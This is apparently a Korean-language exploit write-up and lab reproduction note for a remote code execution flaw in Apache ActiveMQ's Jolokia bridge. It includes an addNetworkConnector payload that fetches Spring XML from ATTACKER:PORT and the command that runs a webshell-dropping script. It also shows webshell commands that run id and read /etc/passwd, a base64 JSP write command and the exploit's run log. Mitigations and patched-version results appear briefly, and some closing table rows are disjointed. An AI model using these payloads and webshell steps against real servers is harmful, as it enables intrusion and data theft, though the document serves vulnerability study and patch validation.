
Jolokia를 통한 Apache ActiveMQ RCE 취약점 분석 및 재현 노트
| 항목 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (HIGH) |
| 취약점 유형 | 원격 코드 실행 (RCE) |
| CWE | CWE-20 부적절한 입력 검증 / CWE-94 코드 인젝션 |
| 영향받는 구성 요소 | Apache ActiveMQ Classic - Jolokia JMX-HTTP 브리지 |
| 영향받는 버전 | < 5.19.4 및 6.0.0 ~ 6.2.2 |
| 수정된 버전 | 5.19.4 / 6.2.3 |
| 공개 날짜 | 2026-04-07 |
| 인증 | 기본적으로 필요하며, 일반적으로 admin:admin. 6.0.0-6.1.1 버전은 CVE-2024-32114와 연계하면 인증 없이 접근할 수 있습니다. |
| 발견 | 약 13년간 존재해 온 이 취약점은 Anthropic Claude의 AI 지원 연구를 통해 보고되었습니다. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/를 노출하여 JMX-over-HTTP 접근을 제공합니다.addNetworkConnector를 포함한 광범위한 org.apache.activemq:* 작업을 허용하는 허용 목록이 도입되었습니다.vm:// 전송의 brokerConfig 매개변수가 원격 Spring XML을 가리킬 수 있으며, 구성이 거부되기 전에 빈 인스턴스화가 발생합니다.ActiveMQ 6.2.3은 vm:// 전송 URI를 거부하도록 addNetworkConnector() 내부에 검증을 추가했습니다:
"error": "VM scheme is not allowed"
| 항목 | 세부 정보 |
|---|---|
| 공격자 호스트 | OrbStack Docker를 사용하는 macOS |
| 대상 이미지 | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| 실행 사용자 | amq (uid=33031) |
| 기본 OS | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
status: 200 응답은 Jolokia에 접근 가능함을 확인합니다.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
이 스크립트는 다음 작업을 수행합니다:
NC라는 이름의 기존 NetworkConnector를 제거합니다.addNetworkConnector 요청을 전송합니다.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
addNetworkConnector()는 NC라는 이름의 커넥터를 등록합니다. 두 번째 등록은 JMX 이름 충돌로 실패하고 500 오류를 반환합니다. 이 스크립트는 익스플로잇을 트리거하기 전에 removeNetworkConnector("NC")를 호출하여 이 문제를 처리합니다.
ActiveMQ는 임베디드 Jetty를 사용하지만 webapps 디렉터리가 디스크에 존재하며 JSP 엔진이 새로 작성된 .jsp 파일을 컴파일합니다. 따라서 테스트된 환경에서 웹셸 작성이 가능합니다.
페이로드는 인라인 base64를 사용하여 JSP를 작성합니다:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
장점:
<, >, %, "와 같은 JSP 특수 문자로 인한 XML 파싱 문제를 방지합니다.대상은 Spring XML 페이로드를 가져오기 위해 공격자가 제어하는 HTTP 서버에 도달할 수 있어야 합니다. 대상에 공격자에게 도달하는 아웃바운드 경로가 없으면 이 익스플로잇 경로는 완료될 수 없습니다.
직접적인 Jolokia 요청은 CORS 검사로 인해 403을 반환할 수 있습니다. 대상과 일치하는 Origin 헤더를 포함하세요:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| 스크립트 | 목적 | 아웃바운드 요구 사항 | 웹셸 |
|---|---|---|---|
exploit_poc.py | 임의의 명령을 실행하는 원본 블라인드 RCE PoC | 필요함 | 없음 |
exploit_webshell.py | 작성된 JSP 웹셸을 통한 원샷 반사형 RCE |
jetty.xml에서 Jolokia API를 비활성화하세요.admin:admin 자격 증명을 교체하세요.| 버전 | 이미지 | Jolokia 응답 | RCE |
|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | uid=0(root)로 성공 |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | uid=33031(amq)로 성공 |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | 수정됨 |
| XML 가져오기에만 필요함 |
| 임의의 파일명으로 자동 작성됨 |